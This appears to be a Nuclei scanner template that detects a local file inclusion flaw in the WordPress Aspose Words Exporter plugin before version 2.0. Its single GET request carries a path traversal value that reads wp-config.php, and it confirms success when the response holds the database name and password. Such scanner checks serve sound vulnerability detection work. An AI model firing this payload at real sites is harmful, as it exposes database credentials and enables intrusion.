id: aspose-words-file-download

info:
  name: WordPress Aspose Words Exporter <2.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose Words Exporter prior to version 2.0 is vulnerable to local file inclusion.
  reference:
    - https://wpscan.com/vulnerability/7869
    - https://wordpress.org/plugins/aspose-doc-exporter
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,aspose,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202a4eb04608b7bec68e15711dfb038edcb4cbee4740575fa9361cd558b98900f7022100f04599edd286112aa103ff4f9649660df2d6b5c0665a872ea2915a04f6400454:922c64590222798bb761d5b6d8e72950